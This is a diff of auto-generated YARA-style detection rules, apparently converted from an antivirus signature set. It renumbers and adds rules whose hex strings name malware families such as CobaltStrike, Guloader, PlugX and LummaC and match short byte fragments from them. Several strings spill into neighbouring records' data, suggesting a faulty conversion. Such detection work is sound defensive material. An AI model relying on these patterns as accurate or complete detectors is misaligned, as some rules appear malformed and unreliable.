_InfrastructureShared_4281{ +rule _InfrastructureShared_4443{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 6f 7a 65 6e 61 2e 45 49 41 47 21 4d 54 42 00 02 00 28 03 0b 16 0c 2b 11 00 07 08 06 08 93 90 01 05 9c 00 08 17 58 0c 08 07 8e 69 fe 04 0d 09 2d e5 07 13 04 2b 00 11 04 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4444{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 45 48 47 48 21 4d 54 42 00 02 00 29 02 7e 4b 02 00 04 7b b8 00 00 04 90 01 05 06 90 01 02 00 00 0a 90 01 05 02 90 01 05 2c 02 17 2a 06 17 58 0a 06 03 32 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4445{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 42 4c 4d 21 4d 54 42 00 02 00 22 03 8a 04 06 48 8b b4 24 90 01 04 32 04 3e 88 44 24 90 01 01 48 8b 05 90 01 04 81 38 90 01 04 0f } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44245,7 +45942,7 @@ rule _InfrastructureShared_4281{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4282{ +rule _InfrastructureShared_4447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44256,7 +45953,7 @@ rule _InfrastructureShared_4282{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4283{ +rule _InfrastructureShared_4448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44267,7 +45964,7 @@ rule _InfrastructureShared_4283{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4284{ +rule _InfrastructureShared_4449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44278,7 +45975,18 @@ rule _InfrastructureShared_4284{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_4285{ +rule _InfrastructureShared_4450{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 6c 6c 65 79 53 75 6e 73 65 74 2e 41 21 64 68 61 00 01 00 0e 80 01 49 6e 63 20 50 72 69 6d 69 6e 69 74 76 65 01 00 10 80 01 57 72 69 74 65 20 50 72 69 6d 69 6e 69 74 76 65 00 00 78 56 } //16675 + $a_00_1 = {02 00 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0) >=2 + +} +rule _InfrastructureShared_4451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44289,7 +45997,7 @@ rule _InfrastructureShared_4285{ ((#a_6c_0 & 1)*16675+(#a_21_1 & 1)*25956) >=2 } -rule _InfrastructureShared_4286{ +rule _InfrastructureShared_4452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44300,7 +46008,7 @@ rule _InfrastructureShared_4286{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=2 } -rule _InfrastructureShared_4287{ +rule _InfrastructureShared_4453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44311,7 +46019,7 @@ rule _InfrastructureShared_4287{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=2 } -rule _InfrastructureShared_4288{ +rule _InfrastructureShared_4454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44322,7 +46030,7 @@ rule _InfrastructureShared_4288{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=2 } -rule _InfrastructureShared_4289{ +rule _InfrastructureShared_4455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44333,7 +46041,7 @@ rule _InfrastructureShared_4289{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=2 } -rule _InfrastructureShared_4290{ +rule _InfrastructureShared_4456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44344,7 +46052,7 @@ rule _InfrastructureShared_4290{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=2 } -rule _InfrastructureShared_4291{ +rule _InfrastructureShared_4457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44355,7 +46063,7 @@ rule _InfrastructureShared_4291{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=2 } -rule _InfrastructureShared_4292{ +rule _InfrastructureShared_4458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44366,7 +46074,7 @@ rule _InfrastructureShared_4292{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448) >=2 } -rule _InfrastructureShared_4293{ +rule _InfrastructureShared_4459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44377,7 +46085,7 @@ rule _InfrastructureShared_4293{ ((#a_63_0 & 1)*18467+(#a_57_1 & 1)*28257) >=2 } -rule _InfrastructureShared_4294{ +rule _InfrastructureShared_4460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -44388,7 +46096,7 @@ rule _InfrastructureShared_4294{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*12656) >=2 } -rule _InfrastructureShared_4295{ +rule _InfrastructureShared_4461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -44400,7 +46108,7 @@ rule _InfrastructureShared_4295{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0+(#a_23_2 & 1)*3) >=2 } -rule _InfrastructureShared_4296{ +rule _InfrastructureShared_4462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -44412,7 +46120,7 @@ rule _InfrastructureShared_4296{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*8448+(#a_5c_2 & 1)*28777) >=2 } -rule _InfrastructureShared_4297{ +rule _InfrastructureShared_4463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -44424,7 +46132,7 @@ rule _InfrastructureShared_4297{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*25976+(#a_23_2 & 1)*3) >=2 } -rule _InfrastructureShared_4298{ +rule _InfrastructureShared_4464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -44437,31 +46145,55 @@ rule _InfrastructureShared_4298{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0+(#a_48_2 & 1)*8448+(#a_00_3 & 1)*11892) >=2 } -rule _InfrastructureShared_4299{ +rule _InfrastructureShared_4465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 51 69 6b 65 6e 63 72 79 70 74 2e 41 00 01 00 0a 01 24 0f fe c8 30 06 46 4f eb a5 01 00 09 01 74 65 73 74 2e 6a 70 67 00 01 00 04 01 72 75 2f 00 00 00 78 56 00 00 03 00 03 00 03 } //18467 $a_48_1 = {54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 44 4c 31 32 33 21 4d 54 42 00 01 00 05 81 01 } //8448 - $a_65_2 = {01 00 0c 81 01 67 6f 75 72 6d 65 74 73 2e 65 78 65 01 00 0c 81 01 62 69 70 72 6f 70 65 6c 6c 61 6e 74 00 00 78 56 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 56 6f 62 66 75 73 2e 67 65 6e 00 01 00 10 01 ee 14 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 01 00 0d 01 56 42 2e 44 69 72 4c 69 73 74 42 6f 78 01 00 08 01 56 42 } //26984 + $a_65_2 = {01 00 0c 81 01 67 6f 75 72 6d 65 74 73 2e 65 78 65 01 00 0c 81 01 62 69 70 72 6f 70 65 6c 6c 61 6e 74 00 00 78 56 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4f 31 21 4d 54 42 00 01 00 09 81 01 61 6e 6c 62 73 73 74 65 64 01 00 09 81 01 67 6f 72 67 6f 6e 65 75 6d 01 00 0e 81 01 74 69 6c 73 74 6e 69 6e } //26984 condition: ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448+(#a_65_2 & 1)*26984) >=3 } -rule _InfrastructureShared_4300{ +rule _InfrastructureShared_4466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 44 4c 31 32 33 21 4d 54 42 00 01 00 05 81 01 68 69 76 65 72 01 00 0c 81 01 67 6f 75 72 6d 65 74 73 2e 65 78 65 01 00 0c 81 01 62 69 70 72 6f 70 65 6c 6c 61 6e 74 00 00 78 56 00 00 03 00 03 00 03 } //18467 + $a_48_1 = {54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4f 31 21 4d 54 42 00 01 00 09 81 01 61 6e 6c } //8448 + $a_74_2 = {64 01 00 09 81 01 67 6f 72 67 6f 6e 65 75 6d 01 00 0e 81 01 74 69 6c 73 74 6e 69 6e 67 65 72 6e 65 73 00 00 78 56 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 58 33 21 4d 54 42 00 01 00 0a 81 01 64 75 70 6c 69 6b 61 74 65 74 01 00 08 81 01 6b 61 62 65 6c 65 74 73 01 00 0e 81 01 6f 6d 73 74 6e } //29538 + condition: + ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448+(#a_74_2 & 1)*29538) >=3 + +} +rule _InfrastructureShared_4467{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4f 31 21 4d 54 42 00 01 00 09 81 01 61 6e 6c 62 73 73 74 65 64 01 00 09 81 01 67 6f 72 67 6f 6e 65 75 6d 01 00 0e 81 01 74 69 6c 73 74 6e 69 6e 67 65 72 6e 65 73 00 00 78 56 00 00 03 00 03 00 03 } //18467 + $a_48_1 = {54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 58 33 21 4d 54 42 00 01 00 0a 81 01 64 75 70 } //8448 + $a_61_2 = {65 74 01 00 08 81 01 6b 61 62 65 6c 65 74 73 01 00 0e 81 01 6f 6d 73 74 6e 69 6e 67 65 6e 2e 65 78 65 00 00 78 56 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 56 6f 62 66 75 73 2e 67 65 6e 00 01 00 10 01 ee 14 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 01 00 0d 01 56 42 2e 44 69 72 4c 69 } //26988 + condition: + ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448+(#a_61_2 & 1)*26988) >=3 + +} +rule _InfrastructureShared_4468{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 58 33 21 4d 54 42 00 01 00 0a 81 01 64 75 70 6c 69 6b 61 74 65 74 01 00 08 81 01 6b 61 62 65 6c 65 74 73 01 00 0e 81 01 6f 6d 73 74 6e 69 6e 67 65 6e 2e 65 78 65 00 00 78 56 00 00 03 00 03 00 03 } //18467 $a_48_1 = {54 52 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 56 6f 62 66 75 73 2e 67 65 6e 00 01 00 10 01 ee 14 02 00 00 00 } //8448 $a_00_2 = {00 00 00 00 00 46 01 00 0d 01 56 42 2e 44 69 72 4c 69 73 74 42 6f 78 01 00 08 01 56 42 2e 54 69 6d 65 72 00 00 78 56 00 00 03 00 03 00 03 00 21 23 53 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 65 72 69 73 68 2e 48 21 64 68 61 00 01 00 0a 01 5c 4d 5a 5f 74 6f 5f 62 6d 70 01 00 0d 01 6f 75 74 5f 66 69 6c 65 5f 6e 61 6d 65 01 00 07 01 69 6e 5f 64 61 74 61 00 00 78 56 00 00 03 00 03 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 08 01 53 63 68 61 6e 6e 65 6c 01 00 0e 01 44 65 63 72 79 70 } //0 condition: ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*8448+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_4301{ +rule _InfrastructureShared_4469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -44473,7 +46205,7 @@ rule _InfrastructureShared_4301{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*8448+(#a_5a_2 & 1)*23553) >=3 } -rule _InfrastructureShared_4302{ +rule _InfrastructureShared_4470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -44485,7 +46217,7 @@ rule _InfrastructureShared_4302{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*0+(#a_64_2 & 1)*8448) >=3 } -rule _InfrastructureShared_4303{ +rule _InfrastructureShared_4471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -44497,7 +46229,7 @@ rule _InfrastructureShared_4303{ ((#a_5f_0 & 1)*25635+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_4304{ +rule _InfrastructureShared_4472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -44508,30 +46240,30 @@ rule _InfrastructureShared_4304{ ((#a_5f_0 & 1)*25635+(#a_44_2 & 1)*2048) >=3 } -rule _InfrastructureShared_4305{ +rule _InfrastructureShared_4473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_54_0 = {3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 50 6c 75 67 78 2e 45 00 01 00 08 01 44 72 76 48 61 73 68 00 01 00 08 01 44 72 76 43 6f 64 65 00 01 00 08 01 53 72 76 48 61 73 68 00 01 00 08 01 53 72 76 43 6f 64 65 00 00 00 78 56 00 00 05 00 05 00 01 } //18467 - $a_54_1 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 50 47 4c 21 4d 54 42 00 05 00 2a 03 48 83 7d } //8448 - $a_8d_2 = {88 4c 89 74 24 30 ba 90 01 04 48 0f 47 4d 88 45 33 c9 45 33 c0 c7 44 24 28 90 01 04 c7 44 24 20 90 00 00 00 78 56 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a } //1952 - $a_36_3 = {2f 43 75 74 74 6c 65 46 6c 61 73 6b 2e 41 21 64 68 61 00 0a 00 18 42 74 03 41 ff d5 48 8b 90 01 05 48 85 c9 74 05 33 d2 41 ff d4 ff d6 90 00 00 00 78 56 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 41 4d 41 39 21 4d 54 42 00 0a 00 24 02 01 45 fc b8 36 23 01 00 01 } //26967 + $a_54_1 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 64 6a 6f 6b 65 2e 50 47 42 21 4d 54 42 00 05 00 28 03 15 } //8448 + $a_08_2 = {00 00 0a 7e 08 00 00 0a 16 28 90 01 01 00 00 0a 26 20 00 a6 0e 00 8d 90 01 01 00 00 01 0b 16 13 04 90 00 00 00 78 56 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 43 75 74 74 6c 65 46 6c 61 73 6b 2e 41 21 64 68 61 00 0a 00 18 42 74 03 41 ff d5 48 8b 90 01 05 48 85 c9 74 05 33 d2 41 ff d4 ff d6 90 00 00 } //18 + $a_00_3 = {00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 41 4d 41 39 21 4d 54 42 00 0a 00 24 02 01 45 fc b8 36 23 01 00 01 45 fc 8b 55 fc 8b 45 08 8a 0c 02 8b 15 90 01 04 88 0c 02 8b e5 5d c2 04 00 90 00 00 } //30720 condition: - ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*8448+(#a_8d_2 & 1)*1952+(#a_36_3 & 1)*26967) >=3 + ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*8448+(#a_08_2 & 1)*18+(#a_00_3 & 1)*30720) >=3 } -rule _InfrastructureShared_4306{ +rule _InfrastructureShared_4474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 50 47 4c 21 4d 54 42 00 05 00 2a 03 48 83 7d a0 07 48 8d 4d 88 4c 89 74 24 30 ba 90 01 04 48 0f 47 4d 88 45 33 c9 45 33 c0 c7 44 24 28 90 01 04 c7 44 24 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 64 6a 6f 6b 65 2e 50 47 42 21 4d 54 42 00 05 00 28 03 15 12 00 7e 08 00 00 0a 7e 08 00 00 0a 16 28 90 01 01 00 00 0a 26 20 00 a6 0e 00 8d 90 01 01 00 00 01 0b 16 13 } //21539 condition: ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_4307{ +rule _InfrastructureShared_4475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -44541,7 +46273,7 @@ rule _InfrastructureShared_4307{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_4308{ +rule _InfrastructureShared_4476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -44551,7 +46283,7 @@ rule _InfrastructureShared_4308{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_4309{ +rule _InfrastructureShared_4477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -44561,7 +46293,7 @@ rule _InfrastructureShared_4309{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_4310{ +rule _InfrastructureShared_4478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -44571,7 +46303,7 @@ rule _InfrastructureShared_4310{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_4311{ +rule _InfrastructureShared_4479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -44585,7 +46317,7 @@ rule _InfrastructureShared_4311{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*8448+(#a_00_2 & 1)*10241+(#a_37_3 & 1)*2048+(#a_33_4 & 1)*12900) >=12 } -rule _InfrastructureShared_4312{ +rule _InfrastructureShared_4480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 02 00 21 " @@ -44596,7 +46328,7 @@ rule _InfrastructureShared_4312{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*0) >=14 } -rule _InfrastructureShared_4313{ +rule _InfrastructureShared_4481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44606,7 +46338,7 @@ rule _InfrastructureShared_4313{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4314{ +rule _InfrastructureShared_4482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44616,7 +46348,7 @@ rule _InfrastructureShared_4314{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4315{ +rule _InfrastructureShared_4483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44626,7 +46358,7 @@ rule _InfrastructureShared_4315{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4316{ +rule _InfrastructureShared_4484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44636,7 +46368,7 @@ rule _InfrastructureShared_4316{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4317{ +rule _InfrastructureShared_4485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44646,7 +46378,7 @@ rule _InfrastructureShared_4317{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4318{ +rule _InfrastructureShared_4486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44656,7 +46388,7 @@ rule _InfrastructureShared_4318{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4319{ +rule _InfrastructureShared_4487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44666,7 +46398,7 @@ rule _InfrastructureShared_4319{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4320{ +rule _InfrastructureShared_4488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44676,7 +46408,7 @@ rule _InfrastructureShared_4320{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4321{ +rule _InfrastructureShared_4489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44686,7 +46418,7 @@ rule _InfrastructureShared_4321{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4322{ +rule _InfrastructureShared_4490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44696,7 +46428,7 @@ rule _InfrastructureShared_4322{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4323{ +rule _InfrastructureShared_4491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44706,7 +46438,7 @@ rule _InfrastructureShared_4323{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4324{ +rule _InfrastructureShared_4492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44716,7 +46448,7 @@ rule _InfrastructureShared_4324{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4325{ +rule _InfrastructureShared_4493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44726,7 +46458,7 @@ rule _InfrastructureShared_4325{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4326{ +rule _InfrastructureShared_4494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44736,7 +46468,7 @@ rule _InfrastructureShared_4326{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4327{ +rule _InfrastructureShared_4495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44746,7 +46478,7 @@ rule _InfrastructureShared_4327{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4328{ +rule _InfrastructureShared_4496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44756,7 +46488,7 @@ rule _InfrastructureShared_4328{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4329{ +rule _InfrastructureShared_4497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44766,7 +46498,7 @@ rule _InfrastructureShared_4329{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4330{ +rule _InfrastructureShared_4498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44776,7 +46508,7 @@ rule _InfrastructureShared_4330{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4331{ +rule _InfrastructureShared_4499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44786,7 +46518,7 @@ rule _InfrastructureShared_4331{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4332{ +rule _InfrastructureShared_4500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44796,7 +46528,7 @@ rule _InfrastructureShared_4332{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4333{ +rule _InfrastructureShared_4501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44806,7 +46538,7 @@ rule _InfrastructureShared_4333{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4334{ +rule _InfrastructureShared_4502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44816,7 +46548,7 @@ rule _InfrastructureShared_4334{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4335{ +rule _InfrastructureShared_4503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44826,7 +46558,7 @@ rule _InfrastructureShared_4335{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4336{ +rule _InfrastructureShared_4504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -44836,7 +46568,17 @@ rule _InfrastructureShared_4336{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4337{ +rule _InfrastructureShared_4505{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 41 4c 4d 5a 21 4d 54 42 00 01 00 27 03 6a 10 68 3c b7 45 00 8d 4d b8 e8 90 01 04 a1 b8 62 46 00 b9 b8 62 46 00 ff 50 0c 83 c0 10 89 45 c8 8d 45 c8 50 90 00 00 00 78 57 00 00 01 00 01 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_4506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " 